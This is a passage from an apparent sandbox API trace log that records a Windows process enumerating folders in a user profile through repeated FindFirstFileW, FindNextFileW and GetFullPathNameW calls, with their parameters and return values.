ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0 [0080.382] FindClose (in: hFindFile=0x1a578ea0 | out: hFindFile=0x1a578ea0) returned 1 [0080.382] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e940) returned 1 [0080.382] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e930) returned 1 [0080.382] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ca2e740 | out: lpFindFileData=0x1ca2e740*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0080.382] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings", lpFilePart=0x0) returned 0x2c [0080.382] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings", lpFilePart=0x0) returned 0x2c [0080.382] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings", lpFilePart=0x0) returned 0x2c [0080.382] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings", lpFilePart=0x0) returned 0x2c [0080.382] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings", lpFilePart=0x0) returned 0x2c [0080.382] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings", lpFilePart=0x0) returned 0x2c [0080.382] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings", lpFilePart=0x0) returned 0x2c [0080.383] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings", lpFilePart=0x0) returned 0x2c [0080.383] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings", lpFilePart=0x0) returned 0x2c [0080.383] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings", lpFilePart=0x0) returned 0x2c [0080.383] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings", lpFilePart=0x0) returned 0x2c [0080.383] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings", lpFilePart=0x0) returned 0x2c [0080.383] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings", lpFilePart=0x0) returned 0x2c [0080.383] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings", lpFilePart=0x0) returned 0x2c [0080.383] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings", lpFilePart=0x0) returned 0x2c [0080.383] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings", lpFilePart=0x0) returned 0x2c [0080.383] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings", lpFilePart=0x0) returned 0x2c [0080.383] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings", lpFilePart=0x0) returned 0x2c [0080.383] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings", lpFilePart=0x0) returned 0x2c [0080.383] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings", lpFilePart=0x0) returned 0x2c [0080.383] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings", lpFilePart=0x0) returned 0x2c [0080.383] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings", lpFilePart=0x0) returned 0x2c [0080.384] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e960) returned 1 [0080.384] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings", nBufferLength=0x105, lpBuffer=0x1ca2e450, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings", lpFilePart=0x0) returned 0x2c [0080.384] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\", lpFilePart=0x0) returned 0x2d [0080.384] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\*", lpFindFileData=0x1ca2e600 | out: lpFindFileData=0x1ca2e600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0080.384] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e890) returned 1 [0080.387] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ca2e740 | out: lpFindFileData=0x1ca2e740*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd9c41b20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd9c41b20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0080.387] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", lpFilePart=0x0) returned 0x23 [0080.387] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", lpFilePart=0x0) returned 0x23 [0080.387] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", lpFilePart=0x0) returned 0x23 [0080.387] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", lpFilePart=0x0) returned 0x23 [0080.388] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", lpFilePart=0x0) returned 0x23 [0080.388] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", lpFilePart=0x0) returned 0x23 [0080.388] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", lpFilePart=0x0) returned 0x23 [0080.388] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", lpFilePart=0x0) returned 0x23 [0080.388] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", lpFilePart=0x0) returned 0x23 [0080.388] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", lpFilePart=0x0) returned 0x23 [0080.388] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", lpFilePart=0x0) returned 0x23 [0080.388] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", lpFilePart=0x0) returned 0x23 [0080.388] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", lpFilePart=0x0) returned 0x23 [0080.388] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", lpFilePart=0x0) returned 0x23 [0080.388] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", lpFilePart=0x0) returned 0x23 [0080.388] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", lpFilePart=0x0) returned 0x23 [0080.388] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", lpFilePart=0x0) returned 0x23 [0080.388] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", lpFilePart=0x0) returned 0x23 [0080.389] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", lpFilePart=0x0) returned 0x23 [0080.389] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", lpFilePart=0x0) returned 0x23 [0080.389] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", lpFilePart=0x0) returned 0x23 [0080.389] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", lpFilePart=0x0) returned 0x23 [0080.389] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e960) returned 1 [0080.389] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", nBufferLength=0x105, lpBuffer=0x1ca2e450, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", lpFilePart=0x0) returned 0x23 [0080.389] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\", lpFilePart=0x0) returned 0x24 [0080.389] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*", lpFindFileData=0x1ca2e600 | out: lpFindFileData=0x1ca2e600*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd9c41b20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd9c41b20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578ea0 [0080.389] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd9c41b20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd9c41b20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.390] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cc00e90, ftCreationTime.dwHighDateTime=0x1d5e09c, ftLastAccessTime.dwLowDateTime=0x605ba880, ftLastAccessTime.dwHighDateTime=0x1d5d884, ftLastWriteTime.dwLowDateTime=0x605ba880, ftLastWriteTime.dwHighDateTime=0x1d5d884, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="8cyzLOfK", cAlternateFileName="")) returned 1 [0080.390] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK", lpFilePart=0x0) returned 0x2c [0080.390] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK", lpFilePart=0x0) returned 0x2c [0080.390] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK", lpFilePart=0x0) returned 0x2c [0080.390] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK", lpFilePart=0x0) returned 0x2c [0080.390] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK", lpFilePart=0x0) returned 0x2c [0080.390] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK", lpFilePart=0x0) returned 0x2c [0080.390] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK", lpFilePart=0x0) returned 0x2c [0080.390] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK", lpFilePart=0x0) returned 0x2c [0080.390] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK", lpFilePart=0x0) returned 0x2c [0080.391] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK", lpFilePart=0x0) returned 0x2c [0080.391] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK", lpFilePart=0x0) returned 0x2c [0080.391] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK", lpFilePart=0x0) returned 0x2c [0080.391] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK", lpFilePart=0x0) returned 0x2c [0080.391] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK", lpFilePart=0x0) returned 0x2c [0080.391] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK", lpFilePart=0x0) returned 0x2c [0080.391] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK", lpFilePart=0x0) returned 0x2c [0080.391] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK", lpFilePart=0x0) returned 0x2c [0080.391] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK", lpFilePart=0x0) returned 0x2c [0080.391] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK", lpFilePart=0x0) returned 0x2c [0080.391] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK", lpFilePart=0x0) returned 0x2c [0080.391] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK", lpFilePart=0x0) returned 0x2c [0080.391] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK", lpFilePart=0x0) returned 0x2c [0080.391] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e900) returned 1 [0080.392] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK", lpFilePart=0x0) returned 0x2c [0080.392] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\", nBufferLength=0x105, lpBuffer=0x1ca2e390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\", lpFilePart=0x0) returned 0x2d [0080.392] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\*", lpFindFileData=0x1ca2e5a0 | out: lpFindFileData=0x1ca2e5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cc00e90, ftCreationTime.dwHighDateTime=0x1d5e09c, ftLastAccessTime.dwLowDateTime=0x605ba880, ftLastAccessTime.dwHighDateTime=0x1d5d884, ftLastWriteTime.dwLowDateTime=0x605ba880, ftLastWriteTime.dwHighDateTime=0x1d5d884, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a62a7d0 [0080.392] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cc00e90, ftCreationTime.dwHighDateTime=0x1d5e09c, ftLastAccessTime.dwLowDateTime=0x605ba880, ftLastAccessTime.dwHighDateTime=0x1d5d884, ftLastWriteTime.dwLowDateTime=0x605ba880, ftLastWriteTime.dwHighDateTime=0x1d5d884, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.392] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4657f650, 